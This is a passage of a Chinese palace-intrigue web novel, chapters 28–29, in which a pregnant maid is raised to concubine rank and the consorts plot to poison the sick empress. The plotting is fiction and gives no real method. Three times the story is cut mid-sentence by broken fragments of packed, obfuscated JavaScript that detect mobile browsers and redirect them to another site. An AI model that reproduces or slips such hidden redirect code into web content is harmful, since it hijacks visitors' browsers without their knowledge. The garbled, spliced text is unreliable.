闻言,李玉娘喜出望外,她终于得到了自己想要的东西,一时悲喜交加,盈盈施了一礼后,“奴婢谢过万岁。” 就在此时,崔玉顺也带着随侍乾清宫的陈太医。 不容两人请安,姬阆摆了摆手,“免了!” 说罢,又指着李玉娘道:“快去给她看看!” 陈太医环顾殿内的众人一眼后,他知道是有什么大事发生,躬身一礼后,愈发恭敬了。 不多时,他搭上了李玉娘的脉搏,很快,他平静的面庞开始变的波涛骇浪,这……这是滑脉啊! 他盯着李玉娘,余光又瞥过另外两位同僚一眼,似乎明白了什么。 感受到蓬勃生机的脉搏,他若有所思,这个月份,难道是……宫里的流言他不是没听说过,万岁爷三个月前可不是就宠幸了个宫女,如此,也就对上了。 见陈太医面色有异,宜含心都跳到嗓眼子去了,虽然李玉娘方才那番话打消了她不少顾虑。可李玉娘如若真的是假孕,那她的下场也将不言而喻,至少一个欺君的罪名是跑不掉的。 “太医,李选侍如何了?” 宜含不由开口问了一句。 选侍往往是正式册封之前对后宫嫔御的专属称呼,见姬阆并未反驳,李玉娘 心头那阵涟漪如春水般荡漾开来。 选侍,虽然只是一个暂时的称呼,但同时预示着姬阆认可了她的身份。她的命运也将从坤宁宫那个低贱的奉茶宫女,跃升为后宫一员。 她偷偷瞥了眼姬阆,那位天子的侧脸在烛火下显的英挺而冷峻,她的心跳不由加速了几分。她不敢多想,只是将头埋着,等着太医的答复。 很快,陈太医收回手,起身躬身一礼,声音稳重却带着一丝欣喜的意味:“回万岁爷、贵妃娘娘的话,李选侍的脉象滑利有力,的确乃是喜脉无疑。胎象稳固,已有三个月有余。微臣恭喜万岁爷,贺喜万岁爷!” 宜含长舒了一口气,她本来还有些紧张,现下有太医确诊,终于如释重负。她赶紧上前一步,盈盈施了一礼:“臣妾恭喜万岁爷,此时皇嗣降临,正是皇天庇佑。臣妾斗胆,恳求万岁下旨册封,以安李选侍之心。” 此言一出,众人纷纷跪地恭贺姬阆。 姬阆的眉头微微一展,一扫数月的阴霾。 这些日子,他本就为皇嗣夭折之事心痛不已,这些年宫中的孩子一个个离去,让他心痛万分。现下李玉娘有了身孕,虽然是意外,却也如同一丝曙光,让他那疲惫的心稍稍振作。 他挥手示意陈太医退下,目光来到了崔玉顺的身上:“崔玉顺,你即刻去取起居注查验。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590363|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 崔玉顺“嗳”了一声,脸上露出一个笑,快步退了出去。 李玉娘还有些惶恐,不知道是什么意思。可宜含却知道,此事基本上已经成了定局,查验起居注也只不过是按例走的形式。 “李玉娘,你既怀了朕的骨肉。朕自然不会薄待与你。” 似乎是看出了李玉娘的不安,姬阆缓下了声音,安抚了一声。 只是不知是不是李玉娘惊惧太甚,她迟了半拍,竞站在愣在原地不动,最后还是宜含开口提醒道:“李选侍!还不快谢过万岁爷的隆恩!” 李玉娘这才反应过来,忙不跟跌地磕头谢恩。 须臾,崔玉顺就取了起居注过来,姬阆翻到除夕那日,又推算了一番日子,他仔细端详了一番,旋即脸上露出一个笑,他清了清嗓子,“有上谕!” 众人伏地而跪,“恭领上谕。” 上谕:“诗载鸡鸣,尤重贤妃之助。必有闻于彤管,乃克二乎紫闱。尔李氏承恩有期,梦熊有兆。位备下陈,慕小星而比肃;礼遵阴教,承圆魄以含辉。匪晋嘉名,曷彰茂渥。兹,封尔为美人。钦哉!” 李玉娘闻言,恍若天音,喜极而泣。 她立即叩首谢恩,声音哽咽:“奴婢领旨谢恩,谢万岁爷恩典!奴婢定不负圣恩!” “先别急着谢。” 姬阆的脸上透着一抹玩味,他转头将目光看向了宜含,轻声道:“李美人就交由你看顾了,她的居所你照着旧例安排就是。只是,她到底是皇后跟前的人,论理还是该去给皇后请个安的。” 说到后面时,他的目光再次来到了李玉娘身上。 宜含心头叹了口气,李玉娘这个烫手山芋,姬阆终究还是交给了她。 她知姬阆这是信任她,但这个骨节眼,绝对不是什么好差事,一旦李玉娘有什么闪失,甭管是不是她的过错,一个看管不理是跑不掉的。 然而形势比人强,纵使她再不情愿,也只能接下,面上还不能有丝毫不满。她福身一礼道:“臣妾遵旨。” 李玉娘跟着盈盈一拜:“是,明儿一早奴婢就去坤宁宫给皇后娘娘磕头。” 姬阆满意地点头,又转头看向宜含,声音柔和了几分:“贵妃,此事你办得很是稳妥。你管着宫务,朕很放心,皇嗣的事,仔细些也就是了。至于皇后那边……朕自有主张。今儿也不早了,你先带她回去,好生安置罢。” 两人应声退下,崔玉顺又亲自将她们送出了乾清宫。 宜含带着李玉娘乘上轿舆,回永和宫的路上,李玉娘低声道:“谢贵妃娘娘成全!奴婢……奴婢今后定为娘娘肝脑涂地!” 宜含笑了笑,不由抚上李玉娘的手,“万岁爷都封了你美人了,别一口一个奴婢,平白让底下的奴婢们看轻了。” 李玉娘面色一红,露出几分她这个年纪应有的娇羞,“是,奴……嫔妾谢娘娘教诲。” 宜含这才不再言语,只是静静地坐着。 次日一早,李玉娘怀了皇嗣以及她被封了美人的消息传遍了整个皇宫。 28. 第 28 章 “你说什么?那个宫女有了身孕?” 玉堂宫内贤妃的声音不由自主拔高,似乎这个消息实在令她难以接受。 金钏赶紧示意自家主子小声些,连忙道:“据说是甄贵妃昨儿在迎春园遇到了那个宫女,无意中得知她有了身孕后,竟连夜带着她去了乾清宫面圣。这不,今儿一早万岁爷就封了那个宫女为美人了。” “甄贵妃?” 贤妃蓦然起身,她在殿中来回渡步。 金钏点点头,“可不是甄贵妃吗!娘娘,这个新封的李美人,原来还是皇后宫里的人。您说,这里面会不会……” 说到这里,金钏没有继续下去,她意有所指。 贤妃却听明白了她的弦外之音,宜含和坤宁宫的宫女突然牵扯起来,这里是不是还有万皇后的手脚在里面。 不过很快,这个想法就被贤妃推翻了。 李美人是踩着万皇后的才爬上了登天梯,依着万皇后的脾性,岂有容得下她的道理。 贤妃深吸一口气,强迫自己冷静下来,转头吩咐金钏道:“既然万岁爷封了她为美人,准备一份礼物,咱们去瞧瞧吧!” 虽然不知道这里面有没有什么隐情,不过她总觉的有些不大对劲,现下也只能去甄贵妃那里探探虚实了。 这边,宜含一早让人给李玉娘拾掇了一下,又让六尚局为她准备了相应的服饰,这才带着李玉娘去了坤宁宫。 原本坤宁宫见李玉娘一夜未归,还打算报了失踪。谁料一早竟然得知了她怀有皇嗣,还封了美人的消息。 众人这才后知后觉发现先前李玉娘的异样原来是怀孕所致,根本不是什么月信中着了凉。 汪嬷嬷收到消息后,立即就变了脸色,心头不由暗恼,自己怎么就被这丫头的小手段给糊弄了过去。 宜含脸上漾起一抹笑,对着汪嬷嬷客客气气道:“请嬷嬷替本宫通传一下,本宫带着万岁爷新册封的李美人来拜见皇后娘娘。” 汪嬷嬷心情沉重,面上却无悲无喜:“还请贵妃娘娘稍待片刻,奴婢这就进去禀告娘娘。” “有劳了。” 宜含脸上仍是挂着笑。 而此时,坤宁宫的宫女们却悄悄打量着李玉娘,谁能想到昨日还是跟她们一样卑微的奴婢,今儿就成了高高在上的娘娘了。 宜含和李玉娘在坤宁宫外等候,春风拂过,带着一丝桃李的芬芳,却掩不住殿内传来的那股沉重药味。 李玉娘低着头,双手微微颤抖着。 她昨夜在永和宫内辗转难眠,一夕之间从宫女变为美人,地位天翻地覆。 甄贵妃虽然答应庇护她,可坤宁宫这位……她不敢多想,只盼着今日能平安度过。 汪嬷嬷很快出来,脸上仍是那副无悲无喜的模样:“皇后娘娘身子不适,免了贵妃娘娘和李美人的请安,还请两位主子见谅。” 说罢,她躬身施了一礼。 这就是下逐客令了,宜含脸上的笑容淡了几分,她对着内殿福了一礼这才转身离去。 至于李玉娘,她伏地磕了一个头,旋即带着两个宫女回到自己先前的屋子里,将自己的东西收拾好,这才离开了坤宁宫。 途中,她看见了秋荷,只是人多眼杂,她不便多说什么,只是对着秋荷点了点头。 虽然无言,可多年的默契都知道了对方的心意。 知道对方平安,秋荷也放下了心,她是真的为李玉娘高兴。 今儿一早知道她一夜未归,原本心急如焚,可听到李玉娘的消息后,是又担忧又高兴。 见到好友的一瞬间,她的心头的巨石,这才落下了。 在安排宫室这块,宜含不敢贸然做主,她让人请了西侧殿的李玉娘过来,耐心询问了她的意见。 除了尚未修葺的殿宇,眼下空闲的宫室并不算多,只有三五处而已。最后李美人选了景福宫。 景福宫紧邻景阳宫,平日鲜有人迹。 碍着肃妃的关系,就连宫人们大多也都避着那条道。 “你当真要选景福宫?那里可偏僻的很。本宫瞧着,西边的禧宁殿就不错,虽是小了点,不过去哪儿都挺方便。” 未免李玉娘会后悔,她不由劝了几句。 李玉娘很清楚,自己现在是能避则避,巴不得没人能想起她。 她的前程都指望着腹中的这个孩子,只要把孩子生下来,比什么都强。 “多谢娘娘的美意,只是嫔妾素来喜静,不愿旁人打搅,嫔妾心意已决,还请娘娘成全。” 见对方将话说到这个份上,宜含也就不再劝了,只是点点头,“也罢,若是缺了什么,尽管打发了人过来告诉我,只要你生下皇子,就是咱们大周的功臣了。” 闻言,李玉娘盈盈一拜,“娘娘对嫔妾母子的恩情,嫔妾万不敢忘,嫔妾母子日后都指望着娘娘庇佑。” 宜含笑了笑,让人扶起李玉娘,“李妹妹怎么还这般客气?妹妹既愿意信姐姐,我又怎会让妹妹失望呢。只要生下这个孩子,妹妹的福气还在后头……” 她对李玉娘的拉拢,一切尽在言语中。 所谓弹弦歌而知雅意,李玉娘也十分上道,应道:“愿为娘娘马首是瞻,效犬马之劳。” 宜含很满意李玉娘的识趣,她指派了两个宫女去服侍李玉娘,未免引得李玉娘心头不快,她又让李玉娘亲自去选了六个宫女。 至于李玉娘身边的内侍,宜含则请示了姬阆,最后让崔玉顺给安排了几个。 不过值得一提的是,李玉娘格外要了一个姓杨的嬷嬷,据她自己说,此人是她当年入宫的教习姑姑。 宜含自是不会反对,她瞧着,李玉娘倒是颇为信任此人。 待贤妃等人前来永和宫探望李玉娘时,却刚好扑了个空,宜含领着李玉娘一同去她的景福宫了。 因为还未正式入住,宜含让李玉娘好生看看是否有需要增设的摆件或花木。 宜含的体贴,倒也让李玉娘心头一热,眼中不由闪过一丝感激。 她这些年见惯了后宫的尔虞我诈,人情如纸薄,却没想到甄贵妃竟如此细心周到了怪道宫里都说甄贵妃心善。 否则,当初自己也不会独求了甄贵妃,如今看来,自己这步险棋倒是走对了。 李玉娘欠了欠身,也多了几分真心:“难为娘娘这般想着我,让您费心了,妹妹铭记于心。” 宜含却不以为意,她摆了摆手:“万岁爷让本宫好生照顾你,怎么也该让你住的舒心才是,不必如此客气。” 话音刚落,宜含笑了笑,拉着李玉娘的手,缓步在宫中巡视。 景福宫内殿虽尘封已久,却也收拾得井井有条。宫人们忙碌着擦拭家具,摆放花瓶,空气中弥漫着淡淡的花果香。 宜含指着内殿的软榻道:“本该添些香料的,只是妹妹有孕在身,我也不通药理,不敢胡乱安排,这才只是让人摆了些花果,妹妹若是缺什么,可尽管开口。” 李玉娘点头,眼中泪光闪烁:“娘娘待嫔妾如姐妹,妹妹……妹妹无以为报。” 就在此时,周颐匆匆进来,躬身道:“娘娘,贤妃娘娘来了,说是来恭贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590364|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李美人。另外,贞妃娘娘刚才去了永和宫,想来不多时也要到此。” 宜含闻言,眉头微微一皱。 她知道这两位的来意不善,只怕另有所图,于是笑了笑,对李玉娘道:“妹妹先在此歇着,本宫去迎她们。不要多想,一切有我。” 李玉娘心头一紧,她知贤妃和贞妃地位崇高,不能得罪,于是福身一礼道:“劳姐姐费心了。” 宜含带着周颐出殿,迎上了贤妃。 贤妃已带人进了景福宫外殿,脸上堆满笑容:“甄妹妹,李美人可在?本宫听说她有了身子,特来贺喜欢自德嫔她们小产之后,真是后宫之福啊。” “贤妃姐姐来得倒巧,本宫陪她前脚刚进了景福宫的大门,姐姐后脚就到了。” 宜含打趣了贤妃几句,跟着将她迎了进来。 贤妃入殿后,目光扫过景福宫的陈设,眼中闪过一丝嘲讽。这地方偏僻,又跟景阳宫那个疯妇肃妃做领居,挑了这样一个地方,当真是榆木脑袋。 当然,贤妃面上却是不显,她笑了笑:“李美人怎选了这么个地方?清静倒是清静,可就是有些清静过了头。妹妹好容易有孕在身,可得仔细保重才是。” 李玉娘闻言,从内殿出来,福身一礼道:“谢贤妃娘娘关心,嫔妾素来喜静,此处倒是正好。” 贤妃递上礼物,一尊慈眉善目的送子观音像:“这是本宫生敬懿公主前,端康老太妃赏的,今儿就借花献佛就转赠给李妹妹吧,还望妹妹平安诞下皇嗣。” 端康太妃是宪庙潜邸时的侧妃,宪庙夺位后并未册立皇后,仅仅只是追封了原配王妃为后。 因宪庙不重女色,后宫也没几个人,端康太妃算是地位最高的一位了。姬阆继位后一直荣养着,直到去年才过了身的。 李玉娘看着那尊洁白无瑕的观音宝相,心头一凛。 她有些拿不准贤妃的用意,于是寻求帮助似地望向了宜含。 宜含点了点头后,李玉娘命人收下,再次行礼致谢,“多谢贤妃娘娘。” 贤妃笑了笑,却转头对宜含道:“甄妹妹掌管宫务当真是辛苦。后宫的事,可都靠妹妹了。本宫听说外朝那些老臣们又在上书,也不知发什么疯,皇后娘娘都还在病中,这些人还一个劲上折子让万岁爷彻查宋美人她们小产一事,当真是目无尊上!妹妹掌管六宫,可听到了什么有意思的事,不妨同姐姐说说?” 宜含闻言,心知贤妃这是在上眼药。 她淡淡一笑:“妹妹比不得贤妃姐姐消息向来灵通,外朝之事,妹妹不敢妄议,万岁爷自有圣裁。至于后宫之事,妹妹也不过代皇后娘娘管着,待娘娘身子大好了,都还是要交还给娘娘的。贤妃姐姐若有建言,不妨直说。” 贤妃闻言,笑容僵了僵。 她本想从宜含口中套话,谁知宜含滴水不漏,她转头又将话题引向李玉娘。 宜含只得将同姬阆所说的原话再次重复了一遍,贤妃还想试图在李玉娘这里探探口风。然而李玉娘更绝,直接捂着肚子装身体不适,搪塞过去。 贤妃脸都快绿了,匆匆寒暄几句,便起身告辞:“姐姐就不扰妹妹了,改日再来探望李美人。” 贤妃离去不久,贞妃也到了。 她带了更重的礼物,一套金镶玉的头面,并几件婴儿衣裳。 在同李玉娘交谈了几句后,贞妃便觉的索然无味,目光很快就转移到宜含身上。 见贞妃的目光始终游离在宜含身上,李玉娘这点眼色还是有的,知道两人是有私事交谈,于是借更衣之命出了内室。 29. 第 29 章 宫室内只剩下宜含和贞妃两人时,宜含知道她想知道什么,没有和她绕弯子,直接将李玉娘的前因后果交代了。 贞妃掩面一笑,“妹妹倒是仁善,只是不知这位李美人,是否担得起妹妹对她这般上心。” “嗐……” 宜含长舒一口气,“我也不指望她记我的好,只是看着她,总想起我那个尚未出世的孩子了,终归不忍心罢了。” 她自是听出了贞妃的意有所指,事实上,她对李玉娘也并未完全放心。李玉娘到底是坤宁宫出来的人,她说的话,不能不信,也不能全信。 听着这些场面话,贞妃不以为意,她抚了抚鬓边的碎发,“妹妹,你是聪明人,难道真信了李氏那个丫头?” 贞妃冷不丁地说出这样一番话,宜含面色不由一变,她有些惊疑不定,“姐姐这话是何意!” 贞妃的凤眸中闪过一丝嘲讽,她起身缓步走到窗边,望着外头的桃李春色,压低了声音:“妹妹,你我姐妹多年,又何必兜圈子?李玉娘是坤宁宫出来的,皇后的心思,你我都清楚。她怎会容忍一个宫女怀上龙种,还让她活蹦乱跳地跑到你永和宫来?” “姐姐的意思是……” 宜含迟疑地开口道。 贞妃点了点头,“怕是有诈,妹妹绝不能轻信了此人。” 宜含狐疑地瞥了贞妃一眼,却有些不大相信,若说当日轮值的两位太医有被收买的嫌疑,可姬阆身边的人,是如何也不会被收买的。 再者,陈太医亲口确认了此事,况且有孕,那迟早是要显怀的,如何能骗过旁人。 她摇了摇,将自己的想法托盘而出,“妹妹知道姐姐素来稳妥,可李玉娘未必就是皇后的人。” 见此,贞妃知道她心意已决,也不再劝,只是话锋一转:“这些日子宫里宫外的流言都传遍了,妹妹也该都听到一二了罢。” 话音刚落,贞妃见宜含仍是不为所动,于是继续道:“皇后这些年做了那么多阴损之事,最近似乎连肃妃都给挖出来了,前朝那边大有有废后的主张。妹妹不会没听说吧?” 宜含眉眼含笑,摇了摇头,“我哪里听过这些话,前朝的事就更不明白了。” 贞妃直盯着宜含的眼睛,声音压的更低了:“妹妹如今管着后宫,难道真的不知吗?” 贞妃显然是不信的,她旋即又补充了一句,“如今是妹妹管着后宫,宫里风言风语,若没有妹妹在后边推了一手,姐姐如何也不会相信的。” 宜含脸色倏地变了,她转过头,凌厉的目光直逼贞妃而去,声音拔高了几分:“姐姐这是什么意思?妹妹有些不明白!” “妹妹别生气啊……姐姐没有旁的意思,咱们都是同一条船上的人,这推波助澜之事,又岂会只有妹妹一人呢……” 贞妃的脸上依然挂着笑,丝毫没有因为宜含受到什么影响。 宜含却听出了弦外之音,贞妃此言大有深意,按着她的意思,宫中的流言蜚语,似乎她也出了一份力。 就在此时,贞妃声音再次响起,“妹妹,姐姐知道许多事情你都与我们意见相悖,可坤宁宫是咱们的大敌,在她倒下去之前,咱们姐妹们更要同心戮力才是!” 话毕,贞妃还祭出大杀器来:“不为别的,即便是为了咱们未出世的孩儿,绝不能轻易放过她!” 闻言,宜含静了静,宫中的流言她不是不知道,虽然不似贞妃所言的推波助澜,可的确也是她有意放纵才愈演愈烈的,倒也没有冤枉她。 至于杀子之仇,她就更没有忘记了,只是一直没有什么时机下手罢了。 宜含的心头犹如被一根刺扎入,那痛楚如潮水般涌来。她想起自己那个尚未出世的孩儿,还有小产时的疼痛与绝望,一切都仿佛历历在目。 贞妃的话虽是挑拨,却也直击她的痛处,倒挑动了她迫切想要复仇的心思。 她深吸一口气,强压住眼中的泪光,转身面对贞妃,声音低沉:“姐姐说的是,妹妹都铭记于心。只是坤宁宫那位……万岁爷虽动了废后之心,却也始终念着旧情。” 贞妃见宜含动摇,眼中闪过一丝得逞的笑意。 她上前一步,拉住宜含的手,轻柔的声音诉说着最阴鸷狠毒的话:“诚如妹妹所言,先前咱们借着宋美人之事中伤皇后,引得朝野动荡,但万岁爷对她依然留有几分情分。按姐姐的意思,那个贱人既然已经病了,咱们不如让她再也好不起来!” “就这样无声无息地死在坤宁宫里……” 宜含闻言,心头微颤,立即变了脸色。 她知道贞妃大胆妄为,没想到竟然想要投毒 宜含听的直摇了摇头,“不可,如此岂可瞒得住太医。” “姐姐也不瞒妹妹了,前朝时留下了一种秘药,据说是西域来的。姐姐无意中得了些,只要咱们神不知鬼不觉地掺进她的饮食里,便会让她重病难愈。就算是太医院手眼通天,也万不会发现的!” 贞妃却是一副胸有成竹的样子。 宜含适时给出自己的疑问,“即便如此,那坤宁宫守备森严,今儿我带着李美人去给她请安,连她的面儿都没能见到。” 贞妃此时收回手,她的目光游离在殿外:“妹妹怎得聪明一世糊涂一时?眼下不正好有一人得用吗?论坤宁宫,谁能熟悉地过她?” 宜含仔细回味着贞妃这句话,旋即,她反应过来,瞪大了眼睛,“姐姐是说……” 见此,贞妃知道宜含想起了自己所说之人,于是点了点头,“甄妹妹这般相助于她,她也该拿出点诚意来了。” 果然是李玉娘。 宜含抿了抿唇,“李玉娘若是反水,岂非置我们于死地了?” 贞妃轻蔑一笑,瞥了宜含一眼,“妹妹这话说说错了,那药是她想法子弄来的,也是她自个儿恨极了坤宁宫那位,这才动手下毒,与咱们有何干系!” 宜含一愣,有些不明所以地看着贞妃。 贞妃并未明言,只是告诉了宜含一个地址,然后深深看了宜含一眼,起身自顾离去了。 宜含迷惑地望着贞妃离开的背景,这话说的莫名其妙,还有那个地址也是……一时令她有些丈二和尚摸不着头脑。 就在回去的路上,宜含依旧细细品味着贞妃话,就在她见到李玉娘的那张脸时,灵光一闪,明白贞妃是什么意思了。 原来她竟打的这个主意!还真是滴水不漏…… 之后数日,宜含一直有条不紊地安排景福宫装潢的事宜,一直将李玉娘送过去,才稍微放下心。 她唤来周颐,仔细吩咐了她几句。 随着宜含的声音越来越小,周颐的瞳孔却越来越大。 周颐忍不住劝了一句:“娘娘,这事若是弄不好,会引火烧身呐。” 宜含面色凝重,声音低沉:“姑姑,常言道不入虎穴焉得虎子,此事若成了,坤宁宫那位的命数也就不长了!值得我们冒险一试!” 闻言,周颐知道自家娘娘下定了决心,她在心头一叹,也只得听命从事。 时间很快来到端午这日,皇宫里挂起了艾蒿,不少宫室的门上还挂着五色线编成的福包。 这日,万皇后出奇地赏了端午节礼的赏赐。自从她年后染病,断断续续也快小半年了,太医院开的方子不知换了多少了,可总是不见好。 宜含和李玉娘在景福宫里正说着话,看着李玉娘已经显怀的腹部,她又想起了自己那个孩子,心头忍不住一叹。 这几个月,宜含悉心照料着李玉娘的衣食住行,可谓是百般关怀。只要得闲,大多时候都呆在李玉娘的景福宫,姬阆撞见过几次,也不由点了点头,称她很有懿德。 就在这时,万皇后赏赐李玉娘的节礼到了,除了一些锦缎,还有一堆补品。 值得一提的是,万皇后单独还赏了她一盘五毒饼。 送了坤宁宫的宫人,李玉娘打开了装着五毒饼的食盒,让人给宜含送了过去。 宜含望着形似五毒模样的酥饼,她眼中快速闪过一丝犹豫,而后还是快速捻起一个,咬开酥脆的饼皮,咀嚼起来。 味道和她平日里所食用的酥饼差不多,只是因为端午节,特意做成了五毒的样子,看着倒还有些唬人。 宜含就着茶水很快就吃了一个。 李玉娘拿起一个蜈蚣图案的酥饼,就当她将要送入口中时,耳边突然传来宜含的声音,“妹妹,如今是有五个月了吧。” 李玉娘一愣,反应过来是宜含在同自己说话,于是将酥饼放回碟中。 她捂着微微凸起的腹部,对着宜含笑了笑,“整好五个月了,前几日还感觉到他在里面动,害得我高兴的一宿没睡。” “是这样的,当初我怀孕时,也是……”宜含话说到一半,突然停下来,而后叹了口气,“唉……不提也罢。李妹妹,到底还是你有福气。” 李玉娘知道宜含这是想起了伤心事,她起身走到宜含身侧,“姐姐快别伤心了,您还年轻。况且,姐姐菩萨心肠,平日又善待宫中众人,是有大福报的,上苍也会庇佑姐姐早日得子的。” “如此,那就借妹妹吉言了。” 宜含脸上的笑容有些勉强,福报吗?像她这样心机深沉,利用无辜孩子的人真的会有福报吗?她自是不会知道…… 不过,不容宜含多想,一阵如针扎的刺痛立即袭来。她惨叫一声,立即从椅子上跌倒在地,捂住肚子在地上直打滚。 李玉娘吓坏了,她站着原地有些不知所措,还是她身边的杨嬷嬷反应迅速,立即让人去请随侍的太医。 因为疼痛,宜含背后发寒,汗水浸湿了衣裳。 为李玉娘安胎的王太医很快就提着药箱过来了,起初他还以为是李美人有什么闪失,吓的他几乎是一路小跑过来,可看见疼痛难忍的宜含,才稍微松了口气。 在听到宫人们详细讲述方才宜含的症状后,王太医立即为宜含搭脉,随后又施针止住了宜含的疼痛。 在得知宜含食用过五毒饼后,王太医小心翼翼掰开了一小块送入嘴中仔细分辨,仅仅只是片刻,他的脸色突然大变。 而后,他再次为宜含切脉,更加坐实了心中的猜测。 宜含虚弱无力地开口问:“王太医,本宫这是怎么了?” 王太医思索了片刻,还是小心回答道:“回娘娘的话,您的腹痛,是服食用了红花汁所致。自娘娘小产后,气血虚败,虽一直在用太医院所开的气血玉露汤调养,可亏空远非一日之功,一旦服食了寒凉之物,就会腹痛难忍。” “红花?” 宜含的声音拔高几分,“怎么会是红花?本宫从未接触过此物!” 话音刚落,她很快反应过来,有些不确定地指着那盘五毒饼,“你是说,那饼中有……” 王太医点了点头,“正是,若臣没有猜错,这饼中被掺了大量的红花汁,且药效极强,这是娘娘为何会反应速度会如此之快的缘故。” 此话一出,李玉娘不敢置信地看着那盘五毒饼,这是万皇后赏赐给她的。若非甄贵妃她……她方才差点就吃了,如此说来,是甄贵妃替她挡了一劫。 “因娘娘这些时日调养尚好,只要服两剂药就能大安,稍后会将方子交到您宫里人手中。” “有劳了。” 宜含点了点头,她用帕子擦了擦额上的薄汗。 王太医很快就下去开方子了,刚才的事,分明牵扯到后宫争斗,他自是没敢继续待下去了。 “姐姐……” 李玉娘不知所措的看着宜含,似乎在寻求她替自己拿个主意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590365|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宜含环顾了殿内众人一眼后,让她们都下去。 其他人自是无不听命,唯独杨嬷嬷迟疑了片刻,但还是跟着众人一同退出了大殿。 宜含此时好了许多,她喝了一口茶,才缓缓道:“妹妹以为……会是谁想要对你下手?” 李玉娘心中早已有了答案,只是她不敢说,也不能说。 见她沉默不语,宜含抿了抿唇,将自己的小产的旧事翻了出来。临了,还特意补充了一句:“妹妹,你是坤宁宫出来的,那位的性子,你比我清楚……” 李玉娘头皮发麻,她脸上的笑容比哭还难看,声音比蚊子还低:“可咱们又能怎么办呢,难道直接告诉万岁爷?” 说到姬阆,李玉娘似乎有了底气,她喃喃自语起来:“对,我去告诉万岁爷,求万岁爷替我做主!” 说罢,她就要出门去。 “且慢……” 宜含伸手止住了她,而后让她坐下,替她分析,“当初我何尝不曾和你一样单纯,贞妃、德嫔、宋美人她们哪个万岁爷不知道,可最后的结局呢?结果是什么你不是都知道吗!” 李玉娘心中大骇,是啊,她怎么忘了。忘了万岁爷对万皇后的情分,她有些绝望地看着宜含,眼中满是担忧和惊惧。 “那……那我们只能任由她兴风作浪,无动于衷吗?” 李玉娘的声音很低,但宜含却听出了她的不甘和愤怒。 宜含知道自己的机会来了,于是强忍着身子的不适,给李玉娘上眼药道:“她是高高在上的主子,咱们又算得了什么。李妹妹,你别看我是贵妃,可在万岁爷心里,说不得还不如坤宁宫那位的一根手指头的分量重。” “眼下她病着,我虽然暂时管着宫务,可人家才是正儿八经的皇后,早晚都是要还回去的。只是,要是在你生下这个孩子后也罢,要是之前,姐姐只怕也护不得你周全了……” 说完,宜含松开了抓住李玉娘的手,起身叹了口气。 李玉娘如坠冰窟,她看着那盘五毒饼,似乎已经预料到万皇后重新掌权后的光景。 不……不,她绝不允许那样的事发生…… “病了……” 李玉娘痴痴念着这两个字,她向前渡了几步,而后突然转身握住宜含的手,“姐姐,你说她病了这么久了,会不会突然就暴毙而亡了。” 瞧着李玉娘的神情,宜含知道有戏,她不假思索道:“李妹妹,我知道你对那位不满,这话当着我说说也就罢了,可……可千万不能当着外人的面胡说啊!” 空气顿时静了静,李玉娘知道是自己失言,她突然沉默下来。 宜含趁机做出一副很为难的样子,她在李玉娘跟前纠结了片刻,而后开口道:“我也不瞒妹妹,同妹妹一样,我也是恨极了她,但坤宁宫铁桶一般,纵使我有心去算计她,也不知如何是好……” 宜含的话如同一把钥匙,悄无声息地打开了李玉娘心底那扇尘封已久的门。 “姐姐……” 李玉娘的声音颤抖着,却带着一丝试探,“您说坤宁宫如铁桶一般,可……可依妹妹看却是未必,我在坤宁宫多年,若是……若是能有办法,神不知鬼不觉地……” 宜含的眼睛微微眯起,她知道鱼儿上钩了,但没有立即回应李玉娘。反而是轻轻抽回手,起身走到窗边,望着外边正好的阳光。 “妹妹,你的心思我明白。可这样的事,一着不慎便是满盘皆输,你既唤了我一声姐姐,那我也是把你当做亲姐妹的,我怎么能还害了你呢。” 宜含摇了摇头,绝口不提刚才的事。 李玉娘咬了咬唇,脑海中回荡着万皇后的身影,她蓦然跪下,“求姐姐告诉妹妹罢。” 宜含赶紧扶起她,一时左右为难,似乎下了很决心后,才将贞妃告诉她的那个地址悄悄告诉了李玉娘。 “我不敢藏在自己宫里,只知道是前朝留下的秘药,只要掺进饮食里,就会让人重病难愈,最后悄无声息地没了气息。” 说话的时候,宜含心跳的很快,她很害怕,但想到自己逝去的那个孩子,就强自狠下心肠。 李玉娘闻言,眼中闪过一丝惊喜与决然。 她紧握宜含的手,低声道:“姐姐放心,妹妹自有分寸。” 宜含的心思如潮水般涌动,她表面上仍是那副担忧的模样,实则已将李玉娘的话牢牢记下。 贞妃布下的局本就滴水不漏,如今李玉娘自投罗网,更是天赐良机。 此事若成,万皇后一死,后宫大局尽在她少,说不得她就能入主坤宁。若败露,提供毒药的是贞妃,下毒的是李玉娘,她尽可抽身而出。 宜含扶着李玉娘坐下,柔声道:“妹妹既有此心,我也就不再劝阻了。只是取药一事,需得千万小心才是,尤其是防着些东厂的耳目。” 